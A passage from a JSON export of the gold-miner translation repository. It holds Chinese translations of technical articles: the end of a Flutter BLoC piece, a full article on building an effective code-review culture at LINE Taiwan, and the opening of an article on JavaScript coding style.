LoginScreen(),\n          ),\n        ),\n      ),\n    );\n  }\n}\n\n```\n\n你可以清楚地看到，多个 BLoC Provider 是嵌套的。这时候，那么你一定会担心，如果继续在同一个链中添加更多的 BLoC，会导致一场噩梦，你可能会得出 BLoC 模式无法扩展的结论。但是，让我告诉你，当你需要在 Widget 树中访问多个 BLoC 的时候，可能会有一种特殊的情况（BLoC 只保存应用程序所需要的 UI 配置），因此，对于这种情况，上述的嵌套是完全没问题的。但是我建议你在大多数的情况下，还是要避免这种嵌套的，并且只在实际需要的地方提供 BLoC。因此，比如当你需要导航到新的页面的时候，可以像这样使用 BLoC Provider：\n\n```dart\nopenDetailPage(ItemModel data, int index) {\n    final page = MovieDetailBlocProvider(\n      child: MovieDetail(\n        title: data.results[index].title,\n        posterUrl: data.results[index].backdrop_path,\n        description: data.results[index].overview,\n        releaseDate: data.results[index].release_date,\n        voteAverage: data.results[index].vote_average.toString(),\n        movieId: data.results[index].id,\n      ),\n    );\n    Navigator.push(\n      context,\n      MaterialPageRoute(builder: (context) {\n        return page;\n      }),\n    );\n  }\n```\n\n这样，`MovieDetailBlocProvider` 就不会为整个组件树，而是会为 `MovieDetail` 页面提供 BLoC。你可以看到，我将 `MovieDetailScreen` 存储在一个新的 `final variable` 中，来避免每次在 `MovieDetailScreen` 中打开或者关闭键盘的时候，都会重新创建 `MovieDetailScreen` 的问题。\n\n## 还没有结束\n\n虽然这里是本文的结尾了，但并不是这个主题的结尾。我也会在这个有关优化 BLoC 模式的文集中不断添加新的想法，从而继续丰富它的内容。我希望这些想法可以帮助你更好地实现 BLoC 模式。Keep learning and keep coding :)。如果你喜欢这篇文章，可以通过点赞来表达你的爱。\n\n有任何疑问，请在 [LinkedIn](https://www.linkedin.com/in/sagar-suri/) 与我联系，或者在 [Twitter](https://twitter.com/SagarSuri94) 上关注我。我会尽我所能解决你的问题。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/effective-code-review.md",
    "content": "> * 原文地址：[Effective code review](https://engineering.linecorp.com/en/blog/detail/378/)\n> * 原文作者：[Bryan Liu](https://engineering.linecorp.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/effective-code-review.md](https://github.com/xitu/gold-miner/blob/master/TODO1/effective-code-review.md)\n> * 译者：[子非](https://www.github.com/CoolRice)\n> * 校对者：[7Ethan](https://github.com/7Ethan), [smallfatS](https://github.com/smallfatS)\n\n# Effective code review\n# 如何让高效的代码评审成为一种文化\n\n如何提升代码质量经常在某一段时间成为开发团队工作的重点，我们积极地讨论如何提升单元测试的效率，如何增加测试的代码覆盖率。然而好景不长，大家各忙各的，提升代码质量的热情也就慢慢降温了。但是，但不超过一年，历史又将重演，人们又将重提相似的观点。我的名字叫 Bryan Liu，目前是在 LINE 从事自动化测试的一名质量工程师，我想分享在 LINE Taiwan 我是如何帮助改进单元测试和代码评审进程的。\n\n## 单元测试和代码评审\n\n正如在职培训上 CTO 在向我们解释的一样，同行代码评审是 LINE 工程师文化的一部分。Facebook 指出开发过程中最重要的三件事 —— 代码评审、代码评审和代码评审。是的，解决单元测试和改进代码质量的唯一方法是使单元测试成为我们工程师文化的一部分，而这就是代码评审帮到我们的地方。\n\n![boyscout_rule](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540351340897.png)\n\n针对代码的童子军规，来自 [{codemotion}](https://codemotionworld.com/)\n\n请遵循这个童子军规，该规则建议评审人检查单元测试是否支持在评审期间补充新代码和修复 bug，通过持续执行此操作，代码覆盖率应该扩展或至少维持不变。举个例子，如果代码覆盖率下降，则评审人应向团队解释他/她遇到的困难以及不添加更多测试的原因。如果所有人都认可该解释并且没提出新问题，他/她可以继续，否则，评审人应予以解决！\n\n## 有效的代码评审小贴士\n\n最高效的代码评审方式是结对编程，不过如果 GitHub 的 PR（Pull Request）适用于你的团队，那么 PR 同样可行。为了搞定代码评审，我指的是完全搞定，我们首先应该尝试提高代码评审流程的效率；我们的想法是把评审人当做稀缺的资源，因为我们的主要职责并不是代码评审，对不对？！\n\n以下是有效并高效的代码评审的一些提示：\n\n*   [每次提交的改动尽量小](#每次提交的改动尽量小)\n*   [经常评审并缩短评审时间](#经常评审并缩短评审时间)\n*   [尽早发送 Pull Request 以供评审](#尽早发送-pull-request-以供评审)\n*   [提供足够的背景信息使 Pull Request 旨意更明确](#提供足够的背景信息使-pull-request-旨意更明确)\n*   [Linting 和代码风格检查](#linting-和编码风格检查)\n\n### 每次提交的改动尽量小\n\nCisco System 编程团队的一项研究表明，对 200 到 400 LoC（代码行）进行 60 到 90 分钟的长时间评审可以发现 70—90% 的缺陷。把每次 PR 的内容当做一个独立单元处理（功能，bug 修复）或有意义的相关性强的想法。想了解为什么单次 Pull Request 提交大量代码弊病繁多以及 Pull Request 的最佳量级，请看[此处](https://smallbusinessprogramming.com/optimal-pull-request-size/)。\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540351568447.png)\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540351612913.png)\n\n代码评审，来自于 Twitter [@iamdeveloper](https://twitter.com/iamdevloper) 与 缺陷密度 vs LoC，来自于 [Cisco 研究案例](https://smartbear.com/learn/code-review/best-practices-for-peer-code-review/)。\n\n### 经常评审并缩短评审时间\n\n以合理的量级，较平稳的速度及利用有限的时间内进行代码评审，可以得到最有效的评审结果。超过 400 LoC，发现缺陷的能力会降低。低于 300 LoC/hr 时检验效率是最好的。\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540351632935.png)\n\n缺陷密度与检验效率，来自于 [Cisco 研究案例](https://smartbear.com/learn/code-review/best-practices-for-peer-code-review/)。\n\n### 尽早发送 Pull Request 以供评审\n\n为了获得有价值的代码评审，在细化实现前发起讨论并尽量避免提交非常大段的改动。将不同的想法分成不同的 PR，并且根据需要分配给不同的评审人，将大问题分成较小的问题并一次解决一个小问题。\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540351658308.png)\n\n如果在代码评审的最后一分钟发现架构/设计问题，该如何应用应急办法，来自于 [Twitter @isoiphone](https://twitter.com/isoiphone/status/824771226585296896)。\n\n### 提供足够的背景信息使 Pull Request 旨意更明确\n\n> 评审人资源能做的十分有限，请明智地对待。\n\n为了帮助评审人快速进入问题背景，提供足够的信息非常重要，例如改动的原因和方案，以及潜藏的问题和需要关注的点。想要激发高效的讨论，这些信息是必不可少的催化剂。作为额外的好处，作者通常会在评审开始之前发现其他错误。虽然不是每个 PR 都值得写出这样的细节，但是你可以简单地注释已经完成和测试的内容或者评审人应该更加关注哪个部分！\n\n[GitHub Issue 和 Pull Request 模板](https://blog.github.com/2016-02-17-issue-and-pull-request-templates/)可能会有所帮助。另外，附上截图来描述您达成的效果是一个好主意！下面是几个关于使用 PR 模板为代码评审和进一步 QA 验证提供有意义背景的例子。\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540363289472.png)\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540351906927.png)\n\nGithub PR 模板示例\n\n### Linting 和编码风格检查\n\n让机器使用 [SonarQube](https://www.sonarqube.org/) 和 [ESLint](https://eslint.org/) 等工具进行静态代码分析和编码风格检查，为业务逻辑和算法等重要环节节省注意力。这些代码扫描工具、类型检查工具和 linting 工具可以报告错误，[code smells](https://en.wikipedia.org/wiki/Code_smell) 和漏洞，使用好的测试套件肯定可以提高代码可靠度。\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540351983588.png)\n\n在 SonarQube 中发现问题，图片来自于 SonarQube 站点\n\n代码评审中最重要的部分之一是奖励开发人员的成长和努力，因此请提供尽可能多的赞美。\n\n最后，如果你无法理解部分代码，则无法进行适当的评审。如果你的讨论似乎是反复的，那就面对面地完成这部分讨论，那样会更有成效。\n\n## 使之融入我们的工程师文化\n\n有人说“文化是即使没人监督也会自然为之的事”。在跳过代码评审过程时，你是否仍会为代码编写足够的测试？不容易吧？但它仍然值得尝试！如果您的项目采用了敏捷开发模式，请考虑以下因素，以使您的团队文化能自我导向，不断改进和学习：\n\n*   自治：团队成员以他们喜欢的方式承担责任和工作（例如：Scrum，结对编程）\n*   提升：持续执行良好的编码实践并通过代码评审相互学习，最终可以提高个人编码技能\n*   目标：代码质量是我们的最终目标，应该在早期发现错误而不是在生产中灭火\n\n因此，为了促进团队文化建设，我开始尝试以下两个项目：\n\n*   [增强技能](#增强技能)\n*   [评估进度](#评估进度)\n\n### 增强技能\n\n是的，为了深入开展这项工作，开发人员还需要有全面的概念和完整的知识，才能在日常工作中达到团队不断增长的共识（实践）。为了帮助开发人员，我们请来本地培训机构开展有关单元测试，重构和 TDD（测试驱动开发）的培训。\n\n我们在研讨会上讨论了以下主题（列出但不限于此）：\n\n1.  单元测试\n    *   设计测试用例用来展示目的，而不是测试代码的实现\n    *   需要识别并隔离依赖\n    *   引入抽取和覆盖以及依赖注入方法\n    *   解释 stub 和 mock 框架及断言库\n    *   练习重构技巧，如抽取方法，内联变量等等。\n2.  [Kata](https://en.wikipedia.org/wiki/Kata_)（编程）着手于\n    *   需求分析、优化方案并找出关键示例\n    *   编码设计和实现\n3.  TDD 和重构\n    *   Demo 重构，标识 code smells 及移除相关方法\n    *   使用 TDD 方法进行实时编码（例如：小步前进，红绿灯）\n    *   着手实践\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540352042625.png)\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540352054720.png)\n\n研讨会期间的照片\n\n### 评估进度\n\n如果你不了解进度，你就无从评估进度，更无法提升进度！\n\n我们运用公示屏展示分析结果并通过消息通知持续推送最新进度，强大的视觉效果增加了大家的参与度，为了同一个目标我们共同努力。位于门口的大型公示屏会循环展示如下信息。\n\n*   [SonarQube 项目公示板（dashboard）](#sonarqube-项目公示板)\n*   [基于团队的代码覆盖率](#基于团队的代码覆盖率)\n*   [PR 的大小与解决时间](#pr-的大小与解决时间)\n*   [PR 评论通知](#pr-评论通知)\n\n#### SonarQube 项目公示板\n\n所有的静态代码分析数据来自于 SonarQube，直接链接到生产服务的代码仓库应该在这里发布报告。\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540352094755.png)  \n\n#### 基于团队的代码覆盖率\n\n基于团队的代码覆盖率图表显示了团队中每个仓库的覆盖趋势，因此无需导航到每个 SonarQube 项目页面。通过将这种类型的图表并排放置，可以很容易地比较不同团队的表现。\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540352210111.png)  \n\n#### PR 的大小与解决时间\n\nDevOps 的核心思想是如何将软件变更频繁地发布到生产中，同时保证质量。使每个部署单元变小是这里的诀窍。大型 PR 不仅无法进行良好的代码评审，而且还会增加在代码质量和发布周期成本，因此对于 DevOps 将任务/变更做小是行之有效的技能。我们尝试使用以下“分辨率时间与 PR 大小”图表来推进这一理念：\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/24/1540352229137.png)  \n\n*   气泡大小：更改设置大小（代码行）\n*   解决时间：PR 创建时间到 PR 合并时间\n*   #n：PR 号\n\n这些图表持续提醒每个人采用良好实践和追求目标的进度。这些只是我们在这里做的一些例子。想想你自己可以直观地向别人展示你的意图。顺便说一下，这些对于月度会议期间总结进展也很有用。\n\n\n#### PR 评论通知\n\n提交给 PR 的每次提交都会触发一个 webhook 来发布 github 评论，如下所示。这是为了提醒 PR 创建者添加测试并修复在此 PR 内部发现的新漏洞，这比在两周后把更改发布到生产中更为有效。为了提高质量指标，评审人还应该帮助找出被评审人遇到问题的原因。\n\n![](https://engineering.linecorp.com/wp-content/uploads/2018/10/25/1540439109739.png)  \n\n*   最新 n 次提交的平均值: 展示每种指标的趋势\n*   xxx 次问题：发现的 bug，漏洞和 code smells 的数量\n*   代码覆盖率：执行单元测试的 LoC 百分比\n\n## 总结与未来计划\n\n为了给代码评审讨论提供很好的环境，知晓如何编写整洁的代码以及如何识别 code smell 并删除至关重要，只有团队真正下功夫解决这些常见问题，文化才能随之培养。\n\n另一方面，没用的指标不需要跟踪；显示数据随时间变化的趋势很重要，它提供给我们做出相应措施的背景。看看上图中显示的趋势线随着进展而变化。此外，我们还考虑添加更多公示板展示以下内容：\n\n*   质量：开启/关闭的 bug 数，同时展示严重性和缺陷密度\n*   速度：部署频率，生产前导时间，修改失败率和平均恢复时间（MTTR）\n\n## 参考\n\n*   [Gerrit] [代码评审 — 贡献](https://gerritcodereview-test.gsrc.io/dev-contributing.html#code-organization)\n*   [Phabricator] [编写可评审的代码](https://secure.phabricator.com/book/phabflavor/article/writing_reviewable_code/)\n*   [Phabricator] [差异用户指南：测试计划](https://secure.phabricator.com/book/phabricator/article/differential_test_plans/)\n*   [MSFT] [代码评审和软件质量，实践研究成果](https://www.linkedin.com/pulse/code-reviews-software-quality-empirical-research-results-avteniev/)\n*   [Cisco] [代码评审的最佳实践](https://smartbear.com/learn/code-review/best-practices-for-peer-code-review/)\n*   [Book] [加速：依靠软件和 DevOps 的科学](https://www.amazon.com/Accelerate-Software-Performing-Technology-Organizations-ebook/dp/B07B9F83WM)\n*   [驱动力] [关于激励他人的惊人事实](https://www.danpink.com/books/drive)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/elements-of-javascript-style.md",
    "content": "> * 原文地址：[Elements of JavaScript Style](https://medium.com/javascript-scene/elements-of-javascript-style-caa8821cb99f)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/elements-of-javascript-style.md](https://github.com/xitu/gold-miner/blob/master/TODO1/elements-of-javascript-style.md)\n> * 译者：[febrainqu](https://github.com/febrainqu)\n> * 校对者：[Baddyo](https://github.com/Baddyo)、[niayyy-S](https://github.com/niayyy-S)\n\n# JavaScript 风格元素\n\n![Out of the Blue — Iñaki Bolumburu (CC BY-NC-ND 2.0)](https://cdn-images-1.medium.com/max/2400/1*7qYONdlJuS0pkUpdav-LQQ.jpeg)\n\n> **注意：** 这篇文章现在是[“组合软件”系列丛书](https://leanpub.com/composingsoftware)中的一部分。\n\n1920 年，[William Strunk Jr 的《英文写作指南》](https://www.amazon.com/Elements-Style-Fourth-William-Strunk/dp/020530902X/ref=as_li_ss_tl?ie=UTF8&qid=1493260884&sr=8-1&keywords=the+elements+of+style&linkCode=ll1&tag=eejs-20&linkId=f7eb0eacba0eab243899626551113119)出版了，它为经过了时间考验的英语语言风格制定了指导方针。你可以对你的代码使用类似的标准，以提升你的代码质量。\n\n以下只是参考，不是不可改变的法则。如果其他的方式可以使代码更清晰，那么我们有合理的理由偏离这个方针，但是[要保持警惕和自我意识](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)。这些指导方针能经受住时间考验的理由很充分：它们通常是正确的。只有在有充分理由的情况下才会偏离它们 —— 而不仅仅是一时兴起或个人的风格偏好。\n\n几乎所有**基本组成原则**中的指南都适用于源代码：\n\n* 以段落为单位：每个主题一段。\n* 省略不必要的词。\n* 使用主动语态。\n* 避免连续使用松散的句子。\n* 把相关的单词放在一起。\n* 用肯定句陈述。\n* 在平行概念上使用并列句。\n\n我们可以把基本相同的概念用于代码风格：\n\n1. 以函数为组成单位。每个函数实现一个功能。\n2. 省略不必要的代码。\n3. 使用主动语态。\n4. 避免一连串的松散陈述。\n5. 将相关的代码写在一起。\n6. 把语句和表达式写成肯定的形式。\n7. 对并列概念使用并列代码。\n\n## 1. 以函数为组成单位。每个函数实现一个功能。\n\n> 软件开发的本质是组合。我们通过将模块、函数和数据结构组合在一起来构建软件。\n\n> 理解如何编写和组合函数是软件开发人员的一项基本技能。\n\n模块只是一个或多个函数或数据结构的集合，数据结构是我们表示程序状态的方式，但是在应用函数之前，没有什么有趣的事情发生。\n\n在 JavaScript 中，有以下三种函数：\n\n* 通信函数：执行 I/O 的功能。\n* 过程函数：一组指令的列表。\n* 映射函数：传入一些参数，返回一些相应的结果。\n\n虽然所有可用的程序都会用到 I/O 操作，而且许多程序都遵循一些过程序列，但是你的大多数函数应该是映射函数：传入一些参数，函数将返回一些相应的结果。\n\n**每个函数处理一个功能**：如果你的函数用于 I/O 操作，不要将 I/O 与映射（计算）混合在一起。如果你的函数用于映射，不要将它和 I/O 操作混合在一起。根据定义，过程函数违反了这条准则。过程函数还违反了另一个准则：避免连续的松散声明。\n\n理想函数是一个简单的、确定性的纯函数：\n\n* 给定相同的调用参数，总是返回相同的结果\n* 没有副作用\n\n另见参考，[“什么是纯函数”](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-pure-function-d1c076bec976)\n\n## 2. 省略不必要的代码。\n\n> “有力的写作是简洁的。一个句子不应该包含不必要的单词，一个段落不应该包含不必要的句子，就像一幅画不应该有不必要的线条，一台机器不应该有不必要的零件。这并不要求作者把所有的句子都写得很短，或者避免所有的细节，只处理主题的大纲，而是要求每一个词都能说明问题。” [省略不必要的话]\n~ William Strunk, Jr.，《英文写作指南》\n\n简洁的代码在软件中是至关重要的，因为越多的代码越容易隐藏 bug。**更少的代码 = 更少的地方隐藏 bug = 更少的 bug。**\n\n简洁的代码更容易读懂，因为它有更高的信噪比：读者有必要从较少的干扰中读懂代码的含义。 **更少的代码 = 更少的干扰 = 更强的含义传达。**\n\n借用《英文写作指南》中的一个词：简洁的代码更**有活力。**\n\n```js\nfunction secret (message) {\n  return function () {\n    return message;\n  }\n};\n```\n\n可以简化为：\n\n```js\nconst secret = msg => () => msg;\n```\n\n这对于那些熟悉简洁的箭头函数（在 ES6 中引入的）的人来说更容易理解。它省略了不必要的语法：大括号、`function` 关键字和 `return` 语句。\n\n第一种包括不必要的语法。对于那些熟悉简洁箭头语法的人来说，大括号、`function` 关键字和 `return` 语句毫无用处。它的存在只是为了让那些不熟悉 ES6 的人熟悉代码。\n\n自 2015 年以来，ES6 一直是语言标准。是时候[熟悉它](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)了。\n\n#### 省略不必要的变量\n\n有时我们倾向于给那些不需要命名的东西命名。问题是[人类的大脑在工作记忆方面的资源是有限的](http://www.nature.com/neuro/journal/v17/n3/fig_tab/nn.3655_F2.html)，而且每个变量都要存储为一个离散的量子，占用大脑中的一个可用的工作记忆插槽。\n\n因此，有经验的开发人员学会了消除不必要的变量。\n\n例如，在大多数情况下，应该省略仅为了命名返回值而命名的变量。函数的名称应该提供关于函数返回内容的足够信息。请思考下面的代码：\n\n```js\nconst getFullName = ({firstName, lastName}) => {\n  const fullName = firstName + ' ' + lastName;\n  return fullName;\n};\n```\n\n对比：\n\n```js\nconst getFullName = ({firstName, lastName}) => (\n  firstName + ' ' + lastName\n);\n```\n\n开发人员减少变量的另一种常见方法是使用函数组合和无参风格。\n\n**无参风格** 是一种定义函数而不引用参数的方法。实现无参风格的常见方法包括柯里化和函数组合。\n\n让我们来看一个使用柯里化的例子：\n\n```js\nconst add2 = a => b => a + b;\n\n// 现在我们定义一个无参的函数 inc()\n// 任何数加 1。\nconst inc = add2(1);\n\ninc(3); // 4\n```\n\n看一下 `inc()` 函数的定义。注意，它没用使用 `function` 关键字，也没有使用 `=>` 语法。没有地方列出参数，因为函数内部没有使用参数。相反，它返回了一个知道如何处理参数的函数。\n\n让我们来看另一个使用函数组合的例子。**函数组合** 是将一个函数用做另一个函数的结果的过程。不管你有没有意识到，你一直都在使用函数组合。例如，每当你使用像 `.map()` 和 `promise.then()` 这样的链式调用的时候都会用到它。它的最基本形式是这样的：`f(g(x))`。在代数中，这种结构通常写为 `f ∘ g` （读为 “f **after** g” 或 “f **composed with** g”）。\n\n当你将两个函数组合在一起时，就不需要创建一个变量来保存两个函数之间的中间值。我们看一下函数组合如何简化代码：\n\n```js\nconst g = n => n + 1;\nconst f = n => n * 2;\n\n// 使用中间变量：\nconst incThenDoublePoints = n => {\n  const incremented = g(n);\n  return f(incremented);\n};\n\nincThenDoublePoints(20); // 42\n\n// compose2 - 取两个函数并返回它们的组合\nconst compose2 = (f, g) => x => f(g(x));\n\n// Point-free:\nconst incThenDoublePointFree = compose2(f, g);\n\nincThenDoublePointFree(20); // 42\n```\n\n你可以对任何函子做同样的事情。[**函子**](https://medium.com/javascript-scene/functors-categories-61e031bac53f) 是任何你可以映射的东西，例如，数组（`Array.map()`）和 promises （`promise.then()`）。让我们用 map 链写另一个版本的 `compose2`：\n\n```js\nconst compose2 = (f, g) => x => [x].map(g).map(f).pop();\n\nconst incThenDoublePointFree = compose2(f, g);\n\nincThenDoublePointFree(20); // 42\n```\n\n每当你使用 promise 链时，你都是在做相同的事情。\n\n实际上，每个函数式编程库都至少有两个组合实用程序版本：从右向左应用函数的 `compose()`，从左向右应用函数的 `pipe()`。\n\nLodash 把它们命名为 `compose()` 和 `flow()`。当我在 Lodash 中使用它们时，我通常这样引入它们：\n\n```js\nimport pipe from 'lodash/fp/flow';\npipe(g, f)(20); // 42\n```\n\n然而，这不是更多的代码，下面的代码也能够实现：\n\n```js\nconst pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x);\npipe(g, f)(20); // 42\n```\n\n如果这个函数组合的东西听起来很陌生，你不知道该如何使用它，仔细想想：\n\n> 软件开发的本质是组合。我们通过将模块、函数和数据结构组合在一起来构建软件。\n\n由此你可以得出结论，理解函数和对象组合的工具就像房屋建筑商了解钻头和钉子枪一样基础。\n\n当你使用命令式代码将函数与中间变量组合在一起时，那就像用胶带和强力胶把它们拼起来。\n\n记住：\n\n* 如果你能用更少的代码做相同的事情，而不改变或混淆意思，那么你应该这么做。\n* 如果你能用更少的变量做相同的事情，而不改变或混淆意思，那么你应该这么做。\n\n## 3. 使用主动语态\n\n> “主动语态通常比被动语态更直接有力。” ~ William Strunk, Jr.，《英文写作指南》\n\n尽可能直接地命名事物。\n\n* `myFunction.wasCalled()` 优于 `myFunction.hasBeenCalled()`\n* `createUser()` 优于 `User.create()`\n* `notify()` 优于 `Notifier.doNotification()`\n\n将谓语和布尔值命名为用“是”或“否”就能回答的问题：\n\n* `isActive(user)` 优于 `getActiveStatus(user)`\n* `isFirstRun = false;` 优于 `firstRun = false;`\n\n使用动词形式命名函数：\n\n* `increment()` 优于 `plusOne()`\n* `unzip()` 优于 `filesFromZip()`\n* `filter(fn, array)` 优于 `matchingItemsFromArray(fn, array)`\n\n**事件处理程序**\n\n事件处理程序和生命周期方法是动词规则的一个例外，因为它们被用作定语；它们表达的不是要做什么，而是什么时候做。它们的名称应该是这样的：“<何时执行>, \\<动词>”。\n\n* `element.onClick(handleClick)` 优于 `element.click(handleClick)`\n* component.onDragStart(handleDragStart) 优于 component.startDrag(handleDragStart)\n\n在第二种形式中，看起来我们试图触发事件，而不是响应事件。\n\n#### 生命周期方法\n\n考虑以下组件假设生命周期方法的替代方法，该方法存在于组件更新之前调用处理程序函数：\n\n* componentWillBeUpdated(doSomething)\n* componentWillUpdate(doSomething)\n* `beforeUpdate(doSomething)`\n\n在第一个例子中，我们使用被动语态(将被更新而不是将更新)。它很拗口，而且与其他方式一样不明了。\n\n第二个例子要好得多，但是这个生命周期方法的关键是调用一个处理程序。`componentWillUpdate(handler)` 读起来好像它会更新处理器，但这不是我们的意思。我们的意思是，“在组件更新之前，调用处理程序”。`beforeComponentUpdate()` 更清楚地表达了这种意思。\n\n我们可以进一步简化。因为这些都是方法，所以 subject（组件）是内置的。在方法名中注明它是多余的。考虑一下，如果你把这些方法直接命名为：component.componentWillUpdate()，它应该怎么读。这就好像说，“吉米吉米晚上吃牛排。” 你不需要重复两次听到 subject 的名字。\n\n* component.beforeUpdate(doSomething) 优于 component.beforeComponentUpdate(doSomething)\n\n**函数式 mixins** 是一种向对象添加属性和方法的函数。函数在管道中一个接一个地应用 —— 就像装配线一样。每个函数式 mixin 都将 `instance` 作为输入，并在将其传递给管道中的下一个函数之前附加一些内容。\n\n我倾向用形容词来命名函数式 mixins。你经常能使用 “ing” 或 “able” 后缀找到可用的形容词，例如：\n\n* const duck = composeMixins(flying, quacking);\n* const box = composeMixins(iterable, mappable);\n\n## 4. 避免一系列松散的陈述\n\n> “…一个系列很快就变得单调乏味。”\n~ William Strunk, Jr.，《英文写作指南》\n\n开发人员经常将一个过程中的事件序列串在一起：把一组松散相关的语句，设计成一个接一个地运行。过多的过程就会产生面条式代码。\n\n这类序列经常被许多平行形式重复，每一种形式都微妙地、有时出乎意料地发散。例如，用户界面组件与几乎所有其他用户界面组件共享相同的核心需求。它的关注点可以分为生命周期阶段，并由单独的功能进行管理。\n\n思考以下顺序代码：\n\n```js\nconst drawUserProfile = ({ userId }) => {\n  const userData = loadUserData(userId);\n  const dataToDisplay = calculateDisplayData(userData);\n  renderProfileData(dataToDisplay);\n};\n```\n\n这个函数实际上处理三种不同的事情：加载数据、从加载的数据计算视图状态、呈现视图。\n\n在大多数现代前端应用程序体系结构中，这些关注点中的每一个都是单独考虑的。通过分离这些关注点，我们可以轻松地混合和匹配每个关注点的不同功能。\n\n例如，我们可以完全替换渲染器，它不会影响程序的其他部分。React 有丰富的自定义渲染器：ReactNative 用于原生 iOS 和 Android 应用程序，AFrame 用于 WebVR，ReactDOM/Server 用于服务器端渲染，等等。\n\n此函数的另一个问题是，加载数据前，不能简单地计算要显示的数据并生成标记。如果你已经加载了数据呢？你最终要做一些在后续调用中不必要的工作。\n\n分离关注点也使得它们可以独立测试。我喜欢在编写代码时对应用程序进行单元测试，并在每次更改时显示测试结果。但是，如果我们将**呈现代码**绑定到**数据加载代码**，我就不能简单地将一些假数据传递到呈现代码以进行测试。我必须对整个组件进行端到端测试 —— 由于浏览器加载、异步网络 I/O 等原因，这个过程可能会很耗时。\n\n我不能从我的单元测试中得到即时反馈。分离这些函数可以让你独立地进行单元测试。\n\n这个例子中有一些独立的函数，我们可以将这些函数提供给程序中的不同生命周期钩子。当程序装入组件时，会触发加载。计算和渲染可以在响应视图状态更新时发生。\n\n这种结果是产生分工更加明确的代码：每个组件可以重用相同的结构和生命周期挂钩，并且代码性能更好；我们不会重复那些不需要在后续循环中重复的工作。\n\n## 5. 保持相关代码在一起。\n\n许多框架和样板都规定了一种程序组织方法，文件按类型分组。如果你要构建小型计算器或“待办事项”应用程序，这很好，但是对于大型项目，通常把文件按功能分组。\n\n例如，这里有两个可供选择的文件层次结构，分别按类型和功能分类：\n\n**按类型分类**\n\n```\n.\n├── components\n│   ├── todos\n│   └── user\n├── reducers\n│   ├── todos\n│   └── user\n└── tests\n    ├── todos\n    └── user\n```\n\n**按功能分类**\n\n```\n.\n├── todos\n│   ├── component\n│   ├── reducer\n│   └── test\n└── user\n    ├── component\n    ├── reducer\n    └── test\n```\n\n当你将文件按功能分组时，你可以避免在文件列表中上下滚动以查找需要编辑的所有文件，从而使单个功能正常工作。\n\n> 根据特性对文件进行排序。\n\n## 6. 把语句和表达式写成肯定的形式。\n\n> “做出明确的断言。避免使用平淡、无趣、犹豫、不置可否的语言。不要用**不是** 这个词作为否定或对立的手段，永远不要用它作为逃避的手段。”\n~ William Strunk, Jr.，《英文写作指南》\n\n* `isFlying` 优于 `isNotFlying`\n* `late` 优于 `notOnTime`\n\n#### If 语句\n\n```js\nif (err) return reject(err);\n\n// 其它代码...\n```\n\n…优于：\n\n```js\nif (!err) {\n  // ... 其它代码\n} else {\n  return reject(err);\n}\n```\n\n#### 三元运算符\n\n```js\n{\n  [Symbol.iterator]: iterator ? iterator : defaultIterator\n}\n```\n\n…优于：\n\n```js\n{\n  [Symbol.iterator]: (!iterator) ? defaultIterator : iterator\n}\n```\n\n#### 